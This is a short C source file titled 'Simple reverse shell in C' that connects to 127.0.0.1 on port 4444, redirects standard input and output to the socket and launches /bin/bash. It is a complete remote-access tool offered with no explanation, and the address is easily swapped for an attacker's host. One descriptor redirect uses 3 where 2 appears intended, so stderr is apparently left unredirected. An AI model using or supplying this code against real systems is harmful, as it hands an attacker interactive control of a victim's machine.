Simple reverse shell in C

revShell.c

#include <sys/socket.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>

int main(void)
{
	int sock;
	int port = 4444;
	struct sockaddr_in revsockaddr;
	sock = socket(AF_INET, SOCK_STREAM, 0);
	revsockaddr.sin_family = AF_INET;
	revsockaddr.sin_port = htons(port);
	revsockaddr.sin_addr.s_addr = inet_addr("127.0.0.1");

	connect(sock, (struct sockaddr *) &revsockaddr, sizeof(revsockaddr));

	dup2(sock, 0);
	dup2(sock, 1);
	dup2(sock, 3);

	char * const argv[] = {"/bin/bash", NULL};
	execve("/bin/bash", argv, NULL);

	return 0;
}